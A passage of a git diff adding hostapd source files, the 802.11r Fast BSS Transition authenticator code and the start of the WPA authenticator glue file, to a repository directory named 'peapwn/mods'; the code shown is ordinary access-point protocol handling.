NULL) { + wpa_printf(MSG_DEBUG, "FT: No PMKID in RSNIE"); + return WLAN_STATUS_INVALID_PMKID; + } + + wpa_hexdump(MSG_DEBUG, "FT: Requested PMKR0Name", + parse.rsn_pmkid, WPA_PMK_NAME_LEN); + wpa_derive_pmk_r1_name(parse.rsn_pmkid, + sm->wpa_auth->conf.r1_key_holder, sm->addr, + pmk_r1_name); + wpa_hexdump(MSG_DEBUG, "FT: Derived requested PMKR1Name", + pmk_r1_name, WPA_PMK_NAME_LEN); + + if (wpa_ft_fetch_pmk_r1(sm->wpa_auth, sm->addr, pmk_r1_name, pmk_r1, + &pairwise) < 0) { + if (wpa_ft_pull_pmk_r1(sm->wpa_auth, sm->addr, sm->r0kh_id, + sm->r0kh_id_len, parse.rsn_pmkid) < 0) { + wpa_printf(MSG_DEBUG, "FT: Did not have matching " + "PMK-R1 and unknown R0KH-ID"); + return WLAN_STATUS_INVALID_PMKID; + } + + /* + * TODO: Should return "status pending" (and the caller should + * not send out response now). The real response will be sent + * once the response from R0KH is received. + */ + return WLAN_STATUS_INVALID_PMKID; + } + + wpa_hexdump_key(MSG_DEBUG, "FT: Selected PMK-R1", pmk_r1, PMK_LEN); + sm->pmk_r1_name_valid = 1; + os_memcpy(sm->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN); + + if (random_get_bytes(sm->ANonce, WPA_NONCE_LEN)) { + wpa_printf(MSG_DEBUG, "FT: Failed to get random data for " + "ANonce"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", + sm->SNonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Generated ANonce", + sm->ANonce, WPA_NONCE_LEN); + + ptk_len = pairwise == WPA_CIPHER_TKIP ? 64 : 48; + wpa_pmk_r1_to_ptk(pmk_r1, sm->SNonce, sm->ANonce, sm->addr, + sm->wpa_auth->addr, pmk_r1_name, + (u8 *) &sm->PTK, ptk_len, ptk_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PTK", + (u8 *) &sm->PTK, ptk_len); + wpa_hexdump(MSG_DEBUG, "FT: PTKName", ptk_name, WPA_PMK_NAME_LEN); + + sm->pairwise = pairwise; + wpa_ft_install_ptk(sm); + + buflen = 2 + sizeof(struct rsn_mdie) + 2 + sizeof(struct rsn_ftie) + + 2 + FT_R1KH_ID_LEN + 200; + *resp_ies = os_zalloc(buflen); + if (*resp_ies == NULL) { + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + pos = *resp_ies; + end = *resp_ies + buflen; + + ret = wpa_write_rsn_ie(conf, pos, end - pos, parse.rsn_pmkid); + if (ret < 0) { + os_free(*resp_ies); + *resp_ies = NULL; + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + pos += ret; + + ret = wpa_write_mdie(conf, pos, end - pos); + if (ret < 0) { + os_free(*resp_ies); + *resp_ies = NULL; + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + pos += ret; + + ret = wpa_write_ftie(conf, parse.r0kh_id, parse.r0kh_id_len, + sm->ANonce, sm->SNonce, pos, end - pos, NULL, 0); + if (ret < 0) { + os_free(*resp_ies); + *resp_ies = NULL; + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + pos += ret; + + *resp_ies_len = pos - *resp_ies; + + return WLAN_STATUS_SUCCESS; +} + + +void wpa_ft_process_auth(struct wpa_state_machine *sm, const u8 *bssid, + u16 auth_transaction, const u8 *ies, size_t ies_len, + void (*cb)(void *ctx, const u8 *dst, const u8 *bssid, + u16 auth_transaction, u16 status, + const u8 *ies, size_t ies_len), + void *ctx) +{ + u16 status; + u8 *resp_ies; + size_t resp_ies_len; + + if (sm == NULL) { + wpa_printf(MSG_DEBUG, "FT: Received authentication frame, but " + "WPA SM not available"); + return; + } + + wpa_printf(MSG_DEBUG, "FT: Received authentication frame: STA=" MACSTR + " BSSID=" MACSTR " transaction=%d", + MAC2STR(sm->addr), MAC2STR(bssid), auth_transaction); + status = wpa_ft_process_auth_req(sm, ies, ies_len, &resp_ies, + &resp_ies_len); + + wpa_printf(MSG_DEBUG, "FT: FT authentication response: dst=" MACSTR + " auth_transaction=%d status=%d", + MAC2STR(sm->addr), auth_transaction + 1, status); + wpa_hexdump(MSG_DEBUG, "FT: Response IEs", resp_ies, resp_ies_len); + cb(ctx, sm->addr, bssid, auth_transaction + 1, status, + resp_ies, resp_ies_len); + os_free(resp_ies); +} + + +u16 wpa_ft_validate_reassoc(struct wpa_state_machine *sm, const u8 *ies, + size_t ies_len) +{ + struct wpa_ft_ies parse; + struct rsn_mdie *mdie; + struct rsn_ftie *ftie; + u8 mic[16]; + unsigned int count; + + if (sm == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + wpa_hexdump(MSG_DEBUG, "FT: Reassoc Req IEs", ies, ies_len); + + if (wpa_ft_parse_ies(ies, ies_len, &parse) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse FT IEs"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + if (parse.rsn == NULL) { + wpa_printf(MSG_DEBUG, "FT: No RSNIE in Reassoc Req"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + if (parse.rsn_pmkid == NULL) { + wpa_printf(MSG_DEBUG, "FT: No PMKID in RSNIE"); + return WLAN_STATUS_INVALID_PMKID; + } + + if (os_memcmp(parse.rsn_pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN) != 0) + { + wpa_printf(MSG_DEBUG, "FT: PMKID in Reassoc Req did not match " + "with the PMKR1Name derived from auth request"); + return WLAN_STATUS_INVALID_PMKID; + } + + mdie = (struct rsn_mdie *) parse.mdie; + if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || + os_memcmp(mdie->mobility_domain, + sm->wpa_auth->conf.mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); + return WLAN_STATUS_INVALID_MDIE; + } + + ftie = (struct rsn_ftie *) parse.ftie; + if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); + return WLAN_STATUS_INVALID_FTIE; + } + + if (os_memcmp(ftie->snonce, sm->SNonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: SNonce mismatch in FTIE"); + wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", + ftie->snonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected SNonce", + sm->SNonce, WPA_NONCE_LEN); + return -1; + } + + if (os_memcmp(ftie->anonce, sm->ANonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: ANonce mismatch in FTIE"); + wpa_hexdump(MSG_DEBUG, "FT: Received ANonce", + ftie->anonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected ANonce", + sm->ANonce, WPA_NONCE_LEN); + return -1; + } + + + if (parse.r0kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R0KH-ID subelem in FTIE"); + return -1; + } + + if (parse.r0kh_id_len != sm->r0kh_id_len || + os_memcmp(parse.r0kh_id, sm->r0kh_id, parse.r0kh_id_len) != 0) { + wpa_printf(MSG_DEBUG, "FT: R0KH-ID in FTIE did not match with " + "the current R0KH-ID"); + wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID in FTIE", + parse.r0kh_id, parse.r0kh_id_len); + wpa_hexdump(MSG_DEBUG, "FT: The current R0KH-ID", + sm->r0kh_id, sm->r0kh_id_len); + return -1; + } + + if (parse.r1kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R1KH-ID subelem in FTIE"); + return -1; + } + + if (os_memcmp(parse.r1kh_id, sm->wpa_auth->conf.r1_key_holder, + FT_R1KH_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Unknown R1KH-ID used in " + "ReassocReq"); + wpa_hexdump(MSG_DEBUG, "FT: R1KH-ID in FTIE", + parse.r1kh_id, FT_R1KH_ID_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected R1KH-ID", + sm->wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN); + return -1; + } + + if (parse.rsn_pmkid == NULL || + os_memcmp(parse.rsn_pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN)) { + wpa_printf(MSG_DEBUG, "FT: No matching PMKR1Name (PMKID) in " + "RSNIE (pmkid=%d)", !!parse.rsn_pmkid); + return -1; + } + + count = 3; + if (parse.ric) + count += ieee802_11_ie_count(parse.ric, parse.ric_len); + if (ftie->mic_control[1] != count) { + wpa_printf(MSG_DEBUG, "FT: Unexpected IE count in MIC " + "Control: received %u expected %u", + ftie->mic_control[1], count); + return -1; + } + + if (wpa_ft_mic(sm->PTK.kck, sm->addr, sm->wpa_auth->addr, 5, + parse.mdie - 2, parse.mdie_len + 2, + parse.ftie - 2, parse.ftie_len + 2, + parse.rsn - 2, parse.rsn_len + 2, + parse.ric, parse.ric_len, + mic) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to calculate MIC"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + if (os_memcmp(mic, ftie->mic, 16) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MIC in FTIE"); + wpa_printf(MSG_DEBUG, "FT: addr=" MACSTR " auth_addr=" MACSTR, + MAC2STR(sm->addr), MAC2STR(sm->wpa_auth->addr)); + wpa_hexdump(MSG_MSGDUMP, "FT: Received MIC", ftie->mic, 16); + wpa_hexdump(MSG_MSGDUMP, "FT: Calculated MIC", mic, 16); + wpa_hexdump(MSG_MSGDUMP, "FT: MDIE", + parse.mdie - 2, parse.mdie_len + 2); + wpa_hexdump(MSG_MSGDUMP, "FT: FTIE", + parse.ftie - 2, parse.ftie_len + 2); + wpa_hexdump(MSG_MSGDUMP, "FT: RSN", + parse.rsn - 2, parse.rsn_len + 2); + return WLAN_STATUS_INVALID_FTIE; + } + + return WLAN_STATUS_SUCCESS; +} + + +int wpa_ft_action_rx(struct wpa_state_machine *sm, const u8 *data, size_t len) +{ + const u8 *sta_addr, *target_ap; + const u8 *ies; + size_t ies_len; + u8 action; + struct ft_rrb_frame *frame; + + if (sm == NULL) + return -1; + + /* + * data: Category[1] Action[1] STA_Address[6] Target_AP_Address[6] + * FT Request action frame body[variable] + */ + + if (len < 14) { + wpa_printf(MSG_DEBUG, "FT: Too short FT Action frame " + "(len=%lu)", (unsigned long) len); + return -1; + } + + action = data[1]; + sta_addr = data + 2; + target_ap = data + 8; + ies = data + 14; + ies_len = len - 14; + + wpa_printf(MSG_DEBUG, "FT: Received FT Action frame (STA=" MACSTR + " Target AP=" MACSTR " Action=%d)", + MAC2STR(sta_addr), MAC2STR(target_ap), action); + + if (os_memcmp(sta_addr, sm->addr, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Mismatch in FT Action STA address: " + "STA=" MACSTR " STA-Address=" MACSTR, + MAC2STR(sm->addr), MAC2STR(sta_addr)); + return -1; + } + + /* + * Do some sanity checking on the target AP address (not own and not + * broadcast. This could be extended to filter based on a list of known + * APs in the MD (if such a list were configured). + */ + if ((target_ap[0] & 0x01) || + os_memcmp(target_ap, sm->wpa_auth->addr, ETH_ALEN) == 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid Target AP in FT Action " + "frame"); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "FT: Action frame body", ies, ies_len); + + /* RRB - Forward action frame to the target AP */ + frame = os_malloc(sizeof(*frame) + len); + if (frame == NULL) + return -1; + frame->frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; + frame->packet_type = FT_PACKET_REQUEST; + frame->action_length = host_to_le16(len); + os_memcpy(frame->ap_address, sm->wpa_auth->addr, ETH_ALEN); + os_memcpy(frame + 1, data, len); + + wpa_ft_rrb_send(sm->wpa_auth, target_ap, (u8 *) frame, + sizeof(*frame) + len); + os_free(frame); + + return 0; +} + + +static int wpa_ft_rrb_rx_request(struct wpa_authenticator *wpa_auth, + const u8 *current_ap, const u8 *sta_addr, + const u8 *body, size_t len) +{ + struct wpa_state_machine *sm; + u16 status; + u8 *resp_ies, *pos; + size_t resp_ies_len, rlen; + struct ft_rrb_frame *frame; + + sm = wpa_ft_add_sta(wpa_auth, sta_addr); + if (sm == NULL) { + wpa_printf(MSG_DEBUG, "FT: Failed to add new STA based on " + "RRB Request"); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "FT: RRB Request Frame body", body, len); + + status = wpa_ft_process_auth_req(sm, body, len, &resp_ies, + &resp_ies_len); + + wpa_printf(MSG_DEBUG, "FT: RRB authentication response: STA=" MACSTR + " CurrentAP=" MACSTR " status=%d", + MAC2STR(sm->addr), MAC2STR(current_ap), status); + wpa_hexdump(MSG_DEBUG, "FT: Response IEs", resp_ies, resp_ies_len); + + /* RRB - Forward action frame response to the Current AP */ + + /* + * data: Category[1] Action[1] STA_Address[6] Target_AP_Address[6] + * Status_Code[2] FT Request action frame body[variable] + */ + rlen = 2 + 2 * ETH_ALEN + 2 + resp_ies_len; + + frame = os_malloc(sizeof(*frame) + rlen); + if (frame == NULL) { + os_free(resp_ies); + return -1; + } + frame->frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; + frame->packet_type = FT_PACKET_RESPONSE; + frame->action_length = host_to_le16(rlen); + os_memcpy(frame->ap_address, wpa_auth->addr, ETH_ALEN); + pos = (u8 *) (frame + 1); + *pos++ = WLAN_ACTION_FT; + *pos++ = 2; /* Action: Response */ + os_memcpy(pos, sta_addr, ETH_ALEN); + pos += ETH_ALEN; + os_memcpy(pos, wpa_auth->addr, ETH_ALEN); + pos += ETH_ALEN; + WPA_PUT_LE16(pos, status); + pos += 2; + if (resp_ies) { + os_memcpy(pos, resp_ies, resp_ies_len); + os_free(resp_ies); + } + + wpa_ft_rrb_send(wpa_auth, current_ap, (u8 *) frame, + sizeof(*frame) + rlen); + os_free(frame); + + return 0; +} + + +static int wpa_ft_rrb_rx_pull(struct wpa_authenticator *wpa_auth, + const u8 *src_addr, + const u8 *data, size_t data_len) +{ + struct ft_r0kh_r1kh_pull_frame *frame, f; + struct ft_remote_r1kh *r1kh; + struct ft_r0kh_r1kh_resp_frame resp, r; + u8 pmk_r0[PMK_LEN]; + int pairwise; + + wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 pull"); + + if (data_len < sizeof(*frame)) + return -1; + + r1kh = wpa_auth->conf.r1kh_list; + while (r1kh) { + if (os_memcmp(r1kh->addr, src_addr, ETH_ALEN) == 0) + break; + r1kh = r1kh->next; + } + if (r1kh == NULL) { + wpa_printf(MSG_DEBUG, "FT: No matching R1KH address found for " + "PMK-R1 pull source address " MACSTR, + MAC2STR(src_addr)); + return -1; + } + + frame = (struct ft_r0kh_r1kh_pull_frame *) data; + /* aes_unwrap() does not support inplace decryption, so use a temporary + * buffer for the data. */ + if (aes_unwrap(r1kh->key, (FT_R0KH_R1KH_PULL_DATA_LEN + 7) / 8, + frame->nonce, f.nonce) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to decrypt PMK-R1 pull " + "request from " MACSTR, MAC2STR(src_addr)); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "FT: PMK-R1 pull - nonce", + f.nonce, sizeof(f.nonce)); + wpa_hexdump(MSG_DEBUG, "FT: PMK-R1 pull - PMKR0Name", + f.pmk_r0_name, WPA_PMK_NAME_LEN); + wpa_printf(MSG_DEBUG, "FT: PMK-R1 pull - R1KH-ID=" MACSTR "S1KH-ID=" + MACSTR, MAC2STR(f.r1kh_id), MAC2STR(f.s1kh_id)); + + os_memset(&resp, 0, sizeof(resp)); + resp.frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; + resp.packet_type = FT_PACKET_R0KH_R1KH_RESP; + resp.data_length = host_to_le16(FT_R0KH_R1KH_RESP_DATA_LEN); + os_memcpy(resp.ap_address, wpa_auth->addr, ETH_ALEN); + + /* aes_wrap() does not support inplace encryption, so use a temporary + * buffer for the data. */ + os_memcpy(r.nonce, f.nonce, sizeof(f.nonce)); + os_memcpy(r.r1kh_id, f.r1kh_id, FT_R1KH_ID_LEN); + os_memcpy(r.s1kh_id, f.s1kh_id, ETH_ALEN); + if (wpa_ft_fetch_pmk_r0(wpa_auth, f.s1kh_id, f.pmk_r0_name, pmk_r0, + &pairwise) < 0) { + wpa_printf(MSG_DEBUG, "FT: No matching PMKR0Name found for " + "PMK-R1 pull"); + return -1; + } + + wpa_derive_pmk_r1(pmk_r0, f.pmk_r0_name, f.r1kh_id, f.s1kh_id, + r.pmk_r1, r.pmk_r1_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", r.pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", r.pmk_r1_name, + WPA_PMK_NAME_LEN); + r.pairwise = host_to_le16(pairwise); + os_memset(r.pad, 0, sizeof(r.pad)); + + if (aes_wrap(r1kh->key, (FT_R0KH_R1KH_RESP_DATA_LEN + 7) / 8, + r.nonce, resp.nonce) < 0) { + os_memset(pmk_r0, 0, PMK_LEN); + return -1; + } + + os_memset(pmk_r0, 0, PMK_LEN); + + wpa_ft_rrb_send(wpa_auth, src_addr, (u8 *) &resp, sizeof(resp)); + + return 0; +} + + +static int wpa_ft_rrb_rx_resp(struct wpa_authenticator *wpa_auth, + const u8 *src_addr, + const u8 *data, size_t data_len) +{ + struct ft_r0kh_r1kh_resp_frame *frame, f; + struct ft_remote_r0kh *r0kh; + int pairwise; + + wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 pull response"); + + if (data_len < sizeof(*frame)) + return -1; + + r0kh = wpa_auth->conf.r0kh_list; + while (r0kh) { + if (os_memcmp(r0kh->addr, src_addr, ETH_ALEN) == 0) + break; + r0kh = r0kh->next; + } + if (r0kh == NULL) { + wpa_printf(MSG_DEBUG, "FT: No matching R0KH address found for " + "PMK-R0 pull response source address " MACSTR, + MAC2STR(src_addr)); + return -1; + } + + frame = (struct ft_r0kh_r1kh_resp_frame *) data; + /* aes_unwrap() does not support inplace decryption, so use a temporary + * buffer for the data. */ + if (aes_unwrap(r0kh->key, (FT_R0KH_R1KH_RESP_DATA_LEN + 7) / 8, + frame->nonce, f.nonce) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to decrypt PMK-R1 pull " + "response from " MACSTR, MAC2STR(src_addr)); + return -1; + } + + if (os_memcmp(f.r1kh_id, wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN) + != 0) { + wpa_printf(MSG_DEBUG, "FT: PMK-R1 pull response did not use a " + "matching R1KH-ID"); + return -1; + } + + /* TODO: verify that matches with a pending request + * and call this requests callback function to finish request + * processing */ + + pairwise = le_to_host16(f.pairwise); + wpa_hexdump(MSG_DEBUG, "FT: PMK-R1 pull - nonce", + f.nonce, sizeof(f.nonce)); + wpa_printf(MSG_DEBUG, "FT: PMK-R1 pull - R1KH-ID=" MACSTR "S1KH-ID=" + MACSTR " pairwise=0x%x", + MAC2STR(f.r1kh_id), MAC2STR(f.s1kh_id), pairwise); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1 pull - PMK-R1", + f.pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMK-R1 pull - PMKR1Name", + f.pmk_r1_name, WPA_PMK_NAME_LEN); + + wpa_ft_store_pmk_r1(wpa_auth, f.s1kh_id, f.pmk_r1, f.pmk_r1_name, + pairwise); + os_memset(f.pmk_r1, 0, PMK_LEN); + + return 0; +} + + +static int wpa_ft_rrb_rx_push(struct wpa_authenticator *wpa_auth, + const u8 *src_addr, + const u8 *data, size_t data_len) +{ + struct ft_r0kh_r1kh_push_frame *frame, f; + struct ft_remote_r0kh *r0kh; + struct os_time now; + os_time_t tsend; + int pairwise; + + wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 push"); + + if (data_len < sizeof(*frame)) + return -1; + + r0kh = wpa_auth->conf.r0kh_list; + while (r0kh) { + if (os_memcmp(r0kh->addr, src_addr, ETH_ALEN) == 0) + break; + r0kh = r0kh->next; + } + if (r0kh == NULL) { + wpa_printf(MSG_DEBUG, "FT: No matching R0KH address found for " + "PMK-R0 push source address " MACSTR, + MAC2STR(src_addr)); + return -1; + } + + frame = (struct ft_r0kh_r1kh_push_frame *) data; + /* aes_unwrap() does not support inplace decryption, so use a temporary + * buffer for the data. */ + if (aes_unwrap(r0kh->key, (FT_R0KH_R1KH_PUSH_DATA_LEN + 7) / 8, + frame->timestamp, f.timestamp) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to decrypt PMK-R1 push from " + MACSTR, MAC2STR(src_addr)); + return -1; + } + + os_get_time(&now); + tsend = WPA_GET_LE32(f.timestamp); + if ((now.sec > tsend && now.sec - tsend > 60) || + (now.sec < tsend && tsend - now.sec > 60)) { + wpa_printf(MSG_DEBUG, "FT: PMK-R1 push did not have a valid " + "timestamp: sender time %d own time %d\n", + (int) tsend, (int) now.sec); + return -1; + } + + if (os_memcmp(f.r1kh_id, wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN) + != 0) { + wpa_printf(MSG_DEBUG, "FT: PMK-R1 push did not use a matching " + "R1KH-ID (received " MACSTR " own " MACSTR ")", + MAC2STR(f.r1kh_id), + MAC2STR(wpa_auth->conf.r1_key_holder)); + return -1; + } + + pairwise = le_to_host16(f.pairwise); + wpa_printf(MSG_DEBUG, "FT: PMK-R1 push - R1KH-ID=" MACSTR " S1KH-ID=" + MACSTR " pairwise=0x%x", + MAC2STR(f.r1kh_id), MAC2STR(f.s1kh_id), pairwise); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1 push - PMK-R1", + f.pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMK-R1 push - PMKR1Name", + f.pmk_r1_name, WPA_PMK_NAME_LEN); + + wpa_ft_store_pmk_r1(wpa_auth, f.s1kh_id, f.pmk_r1, f.pmk_r1_name, + pairwise); + os_memset(f.pmk_r1, 0, PMK_LEN); + + return 0; +} + + +int wpa_ft_rrb_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, + const u8 *data, size_t data_len) +{ + struct ft_rrb_frame *frame; + u16 alen; + const u8 *pos, *end, *start; + u8 action; + const u8 *sta_addr, *target_ap_addr; + + wpa_printf(MSG_DEBUG, "FT: RRB received frame from remote AP " MACSTR, + MAC2STR(src_addr)); + + if (data_len < sizeof(*frame)) { + wpa_printf(MSG_DEBUG, "FT: Too short RRB frame (data_len=%lu)", + (unsigned long) data_len); + return -1; + } + + pos = data; + frame = (struct ft_rrb_frame *) pos; + pos += sizeof(*frame); + + alen = le_to_host16(frame->action_length); + wpa_printf(MSG_DEBUG, "FT: RRB frame - frame_type=%d packet_type=%d " + "action_length=%d ap_address=" MACSTR, + frame->frame_type, frame->packet_type, alen, + MAC2STR(frame->ap_address)); + + if (frame->frame_type != RSN_REMOTE_FRAME_TYPE_FT_RRB) { + /* Discard frame per IEEE Std 802.11r-2008, 11A.10.3 */ + wpa_printf(MSG_DEBUG, "FT: RRB discarded frame with " + "unrecognized type %d", frame->frame_type); + return -1; + } + + if (alen > data_len - sizeof(*frame)) { + wpa_printf(MSG_DEBUG, "FT: RRB frame too short for action " + "frame"); + return -1; + } + + if (frame->packet_type == FT_PACKET_R0KH_R1KH_PULL) + return wpa_ft_rrb_rx_pull(wpa_auth, src_addr, data, data_len); + if (frame->packet_type == FT_PACKET_R0KH_R1KH_RESP) + return wpa_ft_rrb_rx_resp(wpa_auth, src_addr, data, data_len); + if (frame->packet_type == FT_PACKET_R0KH_R1KH_PUSH) + return wpa_ft_rrb_rx_push(wpa_auth, src_addr, data, data_len); + + wpa_hexdump(MSG_MSGDUMP, "FT: RRB - FT Action frame", pos, alen); + + if (alen < 1 + 1 + 2 * ETH_ALEN) { + wpa_printf(MSG_DEBUG, "FT: Too short RRB frame (not enough " + "room for Action Frame body); alen=%lu", + (unsigned long) alen); + return -1; + } + start = pos; + end = pos + alen; + + if (*pos != WLAN_ACTION_FT) { + wpa_printf(MSG_DEBUG, "FT: Unexpected Action frame category " + "%d", *pos); + return -1; + } + + pos++; + action = *pos++; + sta_addr = pos; + pos += ETH_ALEN; + target_ap_addr = pos; + pos += ETH_ALEN; + wpa_printf(MSG_DEBUG, "FT: RRB Action Frame: action=%d sta_addr=" + MACSTR " target_ap_addr=" MACSTR, + action, MAC2STR(sta_addr), MAC2STR(target_ap_addr)); + + if (frame->packet_type == FT_PACKET_REQUEST) { + wpa_printf(MSG_DEBUG, "FT: FT Packet Type - Request"); + + if (action != 1) { + wpa_printf(MSG_DEBUG, "FT: Unexpected Action %d in " + "RRB Request", action); + return -1; + } + + if (os_memcmp(target_ap_addr, wpa_auth->addr, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Target AP address in the " + "RRB Request does not match with own " + "address"); + return -1; + } + + if (wpa_ft_rrb_rx_request(wpa_auth, frame->ap_address, + sta_addr, pos, end - pos) < 0) + return -1; + } else if (frame->packet_type == FT_PACKET_RESPONSE) { + u16 status_code; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "FT: Not enough room for status " + "code in RRB Response"); + return -1; + } + status_code = WPA_GET_LE16(pos); + pos += 2; + + wpa_printf(MSG_DEBUG, "FT: FT Packet Type - Response " + "(status_code=%d)", status_code); + + if (wpa_ft_action_send(wpa_auth, sta_addr, start, alen) < 0) + return -1; + } else { + wpa_printf(MSG_DEBUG, "FT: RRB discarded frame with unknown " + "packet_type %d", frame->packet_type); + return -1; + } + + return 0; +} + + +static void wpa_ft_generate_pmk_r1(struct wpa_authenticator *wpa_auth, + struct wpa_ft_pmk_r0_sa *pmk_r0, + struct ft_remote_r1kh *r1kh, + const u8 *s1kh_id, int pairwise) +{ + struct ft_r0kh_r1kh_push_frame frame, f; + struct os_time now; + + os_memset(&frame, 0, sizeof(frame)); + frame.frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; + frame.packet_type = FT_PACKET_R0KH_R1KH_PUSH; + frame.data_length = host_to_le16(FT_R0KH_R1KH_PUSH_DATA_LEN); + os_memcpy(frame.ap_address, wpa_auth->addr, ETH_ALEN); + + /* aes_wrap() does not support inplace encryption, so use a temporary + * buffer for the data. */ + os_memcpy(f.r1kh_id, r1kh->id, FT_R1KH_ID_LEN); + os_memcpy(f.s1kh_id, s1kh_id, ETH_ALEN); + os_memcpy(f.pmk_r0_name, pmk_r0->pmk_r0_name, WPA_PMK_NAME_LEN); + wpa_derive_pmk_r1(pmk_r0->pmk_r0, pmk_r0->pmk_r0_name, r1kh->id, + s1kh_id, f.pmk_r1, f.pmk_r1_name); + wpa_printf(MSG_DEBUG, "FT: R1KH-ID " MACSTR, MAC2STR(r1kh->id)); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", f.pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", f.pmk_r1_name, + WPA_PMK_NAME_LEN); + os_get_time(&now); + WPA_PUT_LE32(f.timestamp, now.sec); + f.pairwise = host_to_le16(pairwise); + os_memset(f.pad, 0, sizeof(f.pad)); + if (aes_wrap(r1kh->key, (FT_R0KH_R1KH_PUSH_DATA_LEN + 7) / 8, + f.timestamp, frame.timestamp) < 0) + return; + + wpa_ft_rrb_send(wpa_auth, r1kh->addr, (u8 *) &frame, sizeof(frame)); +} + + +void wpa_ft_push_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *addr) +{ + struct wpa_ft_pmk_r0_sa *r0; + struct ft_remote_r1kh *r1kh; + + if (!wpa_auth->conf.pmk_r1_push) + return; + + r0 = wpa_auth->ft_pmk_cache->pmk_r0; + while (r0) { + if (os_memcmp(r0->spa, addr, ETH_ALEN) == 0) + break; + r0 = r0->next; + } + + if (r0 == NULL || r0->pmk_r1_pushed) + return; + r0->pmk_r1_pushed = 1; + + wpa_printf(MSG_DEBUG, "FT: Deriving and pushing PMK-R1 keys to R1KHs " + "for STA " MACSTR, MAC2STR(addr)); + + r1kh = wpa_auth->conf.r1kh_list; + while (r1kh) { + wpa_ft_generate_pmk_r1(wpa_auth, r0, r1kh, addr, r0->pairwise); + r1kh = r1kh->next; + } +} + +#endif /* CONFIG_IEEE80211R */ diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_glue.c b/peapwn/mods/hostap/src/ap/wpa_auth_glue.c new file mode 100644 index 000000000..cbaab9f09 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_glue.c @@ -0,0 +1,623 @@ +/* + * hostapd / WPA authenticator glue code + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "common/sae.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "eapol_auth/eapol_auth_sm_i.h" +#include "eap_server/eap.h" +#include "l2_packet/l2_packet.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ieee802_1x.h" +#include "preauth_auth.h" +#include "sta_info.h" +#include "tkip_countermeasures.h" +#include "ap_drv_ops.h" +#include "ap_config.h" +#include "wpa_auth.h" +#include "wpa_auth_glue.h" + + +static void hostapd_wpa_auth_conf(struct hostapd_bss_config *conf, + struct hostapd_config *iconf, + struct wpa_auth_config *wconf) +{ + os_memset(wconf, 0, sizeof(*wconf)); + wconf->wpa = conf->wpa; + wconf->wpa_key_mgmt = conf->wpa_key_mgmt; + wconf->wpa_pairwise = conf->wpa_pairwise; + wconf->wpa_group = conf->wpa_group; + wconf->wpa_group_rekey = 